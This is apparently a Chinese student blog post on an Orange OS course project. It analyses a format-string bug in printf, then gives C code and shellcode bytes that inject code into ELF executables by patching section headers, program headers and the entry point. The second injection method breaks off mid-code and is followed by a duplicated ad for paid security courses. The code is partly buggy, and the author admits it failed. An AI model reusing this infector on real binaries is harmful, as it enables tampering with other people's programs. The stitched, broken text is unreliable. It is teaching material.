操作系统大作业——基于OrangeOS的改写,帮你解决90%的问题

通过格式化字符串漏洞基本可以实现任意位置内存读写,读栈内数据使用的是%x、%p,若使用%s则能够读取栈内数据对应的内存的数据;写栈内数据使用的是%n,但由于Orange OS中未实现格式化字符串的%n的解析,所以不会出现像任意内存写的后果。

漏洞带来的问题

内存中的数据泄露,访问到不可访问内存地址出现访问错误导致操作系统卡死等。

具体分析:接下来,分析Orange OS中格式化字符串漏洞产生的具体原因。

在lib/printf.c中,可以看到printf函数的源代码:

PUBLIC int printf(const char *fmt, …)  
{  
int i;  
char buf[STR_DEFAULT_LEN];

va_list arg = (va_list)((char*)(&fmt) + 4);        /* 4 是参数 fmt 所占堆栈中的大小 */  
i = vsprintf(buf, fmt, arg);  
int c = write(1, buf, i);

assert(c == i);

return i;  
}

分析这个printf函数,我们可以发现这其中存在以下漏洞:

(1)直接使用用户输入作为格式字符串(格式化字符串漏洞)

可以看到在printf中并没有传入后续参数的个数, 而是直接将第一个参数的地址arg和格式化字符串fmt传给了vsprintf, vsprintf函数的作用是解析格式化字符串fmt, 若是读到格式化字符, 则使用参数的值将其替换, 所以若实际上并没有与格式化字符串中的格式化字符数量相匹配的参数, 则会泄露栈中的数据。

(2)缓冲区溢出风险

buf的大小是STR_DEFAULT_LEN,这个大小是固定的。如果格式化后的字符串超过这个长度,将会导致缓冲区溢出。

(3)未对输出长度进行限制

使用vsprintf而不是vsnprintf,这个实现没有对写入buf的字符数量设置上限。这增加了缓冲区溢出的风险,因为格式化的输出可能会超过buf的容量。

下面仅对格式化字符串漏洞进行验证,因为在include/stdio.h中可以看到对STR_DEFAULT_LEN的大小定义是1024,要验证缓冲区溢出漏洞有点困难,但确实存在这个风险。

验证漏洞

像之前分析的一样,printf(str)中如果str是%d、%s等格式化字符会造成数据泄露等问题,下面在command中新建文件test1.c编写代码来验证:

#include “stdio.h”

int main(int argc, char* argv[])  
{  
printf(argv[1]);  
printf(“\n”);  
return 0;  
}

然后在Makefile中做相应修改,编译运行后得到下图:

发现确实出现了内存泄露。

2.2可执行文件的破坏(法一)

漏洞定义

可执行文件的破坏通常指的是对可执行程序文件(如.exe文件在Windows系统中,或者Linux/Unix系统中的可执行脚本或二进制文件)的恶意修改。这种修改旨在改变程序的正常行为或使其执行恶意代码。

漏洞产生的原因

可执行文件包含了程序运行所需的指令和数据。如果攻击者能够修改这些文件,他们就可能插入恶意代码或破坏文件的正常功能。

攻击原理

可执行文件的破坏可以以多种方式发生:

• 恶意代码注入:攻击者向可执行文件中插入恶意代码。当文件被执行时,这段恶意代码也会被执行。

• 代码替换:攻击者替换或修改文件中的一部分,以改变其行为。

• 文件损坏:攻击者可能会算坏文件,使其无法执行或导致错误的行为。

攻击者可能通过多种途径破坏可执行文件:

• 直接访问:如果攻击者能够直接访问系统上的文件,他们可以直接修改这些文件。

• 远程利用:通过网络攻击(如病毒、蠕虫、特洛伊木马)来修改远程系统上的可执行文件。

• 通过其他漏洞:利用其他安全漏洞(如缓冲区溢出、格式化字符串漏洞等)来获取文件修改的权限。

具体分析

使用010Editor分析command中的可执行文件,发现文件一开始都是“.ELF”,故可以将其作为elf文件的标志。

然后,在010Editor下载ELF模板并运行。可以发现,第一节的偏移量、大小都为0,不包含任何数据,它的存在主要是作为列表的起始点。第二节是代码节,都是从0x00001000开始的,并且在这之前有一大块的0:

因此,我们的注入的原理是:

读取elf文件后,保存原来的入口地址,然后在.text节前面找到一个全为0的区域(大小为恶意代码的长度inject_size),然后在这个区域注入恶意代码,最后,修改.text节的节头和第一个program header。

首先,在command中创建一个shellcode.asm文件,在里面构造恶意代码,它的功能是打印一个字符串“Surpise! DP has injected it!\n”:

[section .text]

global _start

_start:  
pushad  
jmp get_msg_addr

main:  
pop edx  
xor eax, eax  
int 0x90  
popad  
mov ebx, 0x******** ; 随便写的入口地址(这是我学号后八位),在inject时会把原本的入口地址覆盖掉  
jmp ebx

get_msg_addr:  
call masmain

msg:  
db “Surpise! DP has injected it!”, 0xA, 0x0 ;换行符 空字符

然后依次使用如下指令得到机器码:

nasm -f elf32 inject.asm -o inject.o  
ld -s inject.o -o inject  
objdump -d inject

然后在test2.c中将显示的所有机器码写成一个inject_code数组:

unsigned char inject_code[] = {  
0x60, 0xeb, 0x0d, 0x5a, 0x31, 0xc0, 0xcd, 0x90, 0x61, 0xbb,   
0x00, 0x00, 0x00, 0x00, 0xff, 0xe3, 0xe8, 0xee, 0xff, 0xff,   
0xff, 0x53, 0x75, 0x72, 0x70, 0x69, 0x73, 0x65, 0x21, 0x20,  
0x44, 0x50, 0x20, 0x68, 0x61, 0x73, 0x20, 0x69, 0x6e, 0x6a,  
0x65, 0x63, 0x74, 0x65, 0x64, 0x20, 0x69, 0x74, 0x21, 0x0a,  
0x00  
};  
unsigned int inject_size = sizeof(inject_code);  
# define ADDR 10    // 在inject_code代码中的偏移为10的地方保存原来的入口地址,此处预先填0

其中,偏移为ADDR(10)的位置为0x00, 0x00, 0x00, 0x00,这就是图6的0x********的位置,在注入过程中会将原入口地址填入到该偏移处。

接下来继续编写注入代码。具体思路就是首先得到文件名并读入文件之后,根据“.elf”判断它是否为elf文件,如果是的话,就首先保存原来的入口地址,然后判断代码节的前面是否有inject_size大小的全0区域,如果有的话就填入shellcode并修改代码节头和程序节头的大小和偏移,否则就报错:

// 判断是否为elf文件  
int is_elf(Elf32_Ehdr elf_ehdr) {  
// ELF文件头部的 e_ident 为 “0x7fELF”  
if (elf_ehdr.e_ident[0] == 0x7f || elf_ehdr.e_ident[1] == 0x45 ||   
elf_ehdr.e_ident[2] == 0x4c || elf_ehdr.e_ident[3] == 0x46) {  
return 1;  
}  
return 0;  
}

// unsigned int类型转换为直接在汇编指令中可用的数据的函数cal_addr  
// e.g. 41424344 -> [44, 43, 42, 41]  
void cal_addr(Elf32_Addr entry, int addr[]) {  
int temp = entry;  
int i;  
for (i = 0; i < 4; i++) {  
addr[i] = temp % 256;  // 256 == 8byte  
temp /= 256;  
}  
}

# define BUF_SIZE 100  
// 注入  
int inject(char* elf_file) {  
Elf32_Ehdr elf_ehdr;  // elf head  
Elf32_Phdr elf_phdr;  // elf program head  
Elf32_Shdr elf_shdr;  // elf section head

int fd = open(elf_file, O_RDWR);  
read(fd, &elf_ehdr, sizeof(Elf32_Ehdr));  
if(is_elf(elf_ehdr))    // 判断是否为elf文件  
printf(“%s is a ELF , start to inject…\n”, elf_file);  
else {  
printf(“%s is not a ELF!\n”, elf_file);  
return 0;  
}

// 保存原来的入口地址以便后续返回  
Elf32_Addr old_entry = elf_ehdr.e_entry;    
int old_entry_addr[4];  
cal_addr(old_entry, old_entry_addr);    
printf(“old_entry: 0x%x\n”, old_entry);

// 寻找注入点  
lseek(fd, elf_ehdr.e_shoff + elf_ehdr.e_shentsize, SEEK_SET);  
read(fd, &elf_shdr, sizeof(elf_shdr));  // 代码节的节头  
printf(“elf_shdr.sh_offset == %d”, elf_shdr.sh_offset);  
int off = elf_shdr.sh_offset - inject_size;  
lseek(fd, off, SEEK_SET);  
char buf[BUF_SIZE];  
int flag = 0;    // 是否找到注入点  
if(read(fd, &buf, BUF_SIZE)) {  
int i = 0;  
while(buf[i] == 0)  
i++;  
if(i >= inject_size)  
flag = 1;  
}

if(flag) {  
printf(“Inject code offset: 0x%x\n”, off);

// 填入原来的入口地址  
inject_code[ADDR] = old_entry_addr[0];  
inject_code[ADDR + 1] = old_entry_addr[1];  
inject_code[ADDR + 2] = old_entry_addr[2];  
inject_code[ADDR + 3] = old_entry_addr[3];

// 注入恶意代码  
lseek(fd, off, SEEK_SET);  
write(fd, &inject_code, inject_size);

// 修改代码节的节头  
elf_shdr.sh_offset -= inject_size;  
elf_shdr.sh_size += inject_size;  
elf_shdr.sh_addralign = 0;  
elf_shdr.sh_addr = off;  
lseek(fd, elf_ehdr.e_shoff + elf_ehdr.e_shentsize, SEEK_SET);  
write(fd, &elf_shdr, sizeof(elf_shdr));

// 修改程序的入口点  
elf_ehdr.e_entry = off;  
lseek(fd, elf_ehdr.e_phoff, SEEK_SET);   
read(fd, &elf_phdr, sizeof(elf_phdr));  
elf_phdr.p_filesz += inject_size;  
elf_phdr.p_memsz += inject_size;  
elf_phdr.p_vaddr = off;  
elf_phdr.p_offset = off;  
elf_phdr.p_align = 0;  
printf(“Modify entry address to 0x%x\n”, elf_ehdr.e_entry);  
lseek(fd, 0, SEEK_SET);  
write(fd, &elf_ehdr, sizeof(elf_ehdr));  
lseek(fd, elf_ehdr.e_phoff, SEEK_SET);  
write(fd, &elf_phdr, sizeof(elf_phdr));

close(fd);  
printf(“Finish!\n”);  
return 1;  
}  
else {  
printf(“No enough space for inject!\n”);  
return 0;  
}  
}

// 主函数  
int main(int argc, char** argv) {  
if (argc != 2) {  
printf(“Please input inject <elf_filepath>!\n”);  
exit(0);  
}  
if(inject(argv[1])) {  
printf(“Inject success!\n”);  
}  
else  
printf(“Inject fail!\n”);  
return 0;  
}

编译运行,得到下图结果:

其实这存在一些问题,因为我单独写这个的时候没有报错,但是当我与别的结合在一起后,我发现根本就注入不了了,也不知道为啥。还会报下面的错:

所以我又用另一个比较硬核的方法去研究。 (虽然也没成功)

2.3 可执行文件的破坏(法二)

虽然,最后还是没有成功解决上面那不能放一起的问题(发现test2不能与test1还有test3共存,就很怪),但确实也是另一种思路。

与法一有一个很大的不同之处,那就是我没有调用elf库。

还是惯例的写一个判断是否为elf文件的函数,具体分析见法一:

int is_ELF(char *filename){  
printf(“open file!@!\n”);  
int fd = open(filename, O_RDWR);  
printf(“fd == %d\n”, fd);  
if(fd == -1){  
printf(“no such file: %s\n”, filename);  
return 0;  
}  
char head[4];  
read(fd, head, 0x4);  
close(fd);  
return memcmp(head, “\x7f\x45\x4c\x46”, 4) == 0;

}

这个方法比较硬核,那就是计算出编译后cat指令的地址,并计算出偏移地址来注入攻击。

然后是inject函数并调用,思路详见代码注释,这里就不赘述了。

void inject(filename){

char shellcode[0x100];  
int i;  
for(i = 0; i < sizeof(shellcode); i++) shellcode[i] = 0x90; //nop  
int fd = open(filename, O_RDWR);  
if(fd < 0) return printf(“open error!\n”);  
char buffer[0x3000];  
read(fd, buffer, 0x3000);

//保存程序原先的入口地址  
int start;  
memcpy(&start, buffer+24, 4);  
printf(“start_addr at : %d\n”, start);

//寻找代码段  
int s_off;  
memcpy(&s_off, buffer+32, 4);  
//每个段描述符的长度是40个字节  
//text一般是第二个段  
printf(“seg_off in file: %d\n”, s_off);  
int seg_text = buffer + s_off + 40;  
int sh_addr, seg_offset, seg_size;  
memcpy(&sh_addr, seg_text+12, 4); //段映射的虚拟地址  
memcpy(&seg_offset, seg_text+16, 4);//段在文件中的偏移  
memcpy(&seg_size, seg_text+20, 4);//段的长度  
printf(“seg_offset == %d\nseg_size == %d\n”, seg_offset, seg_size);  
int code_start = start - sh_addr + seg_offset;//代码在文件中的起始地址  
printf(“code_start == %d\n”, code_start);  
for(i = 0; i < sizeof(shellcode); i++){  
if(*(buffer + seg_offset - i -1) != 0) break;  
}  
if(i != sizeof(shellcode)) return printf(“cannot inject!\n”);  
printf(“inject is ok!\n”);  
memcpy(buffer+seg_offset-sizeof(shellcode), shellcode, sizeof(shellcode));  
//printf(“shllcode: %s\n”, shellcode);  
//write(1, buffer+seg_offset-sizeof(shellcode), 0x100);  
printf(“inject offset == %d\n”, seg_offset-sizeof(shellcode));

//new_seg_start 就是新代码段在文件中的偏移,也是新的程序入口点  
int new_seg_start = 0x0f00;//seg_offset - sizeof(shellcode);

//改写text段表    
seg_offset -= sizeof(shellcode);  
seg_size += sizeof(shellcode);  
sh_addr = seg_offset - sizeof(shellcode);  
memcpy(seg_text+12, &sh_addr, 4);  
memcpy(seg_text+16, &seg_offset, 4);

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
在这里插入图片描述

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)**
[外链图片转存中…(img-7mES1y5R-1712420859207)]

学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
在这里插入图片描述

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

  • 17
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值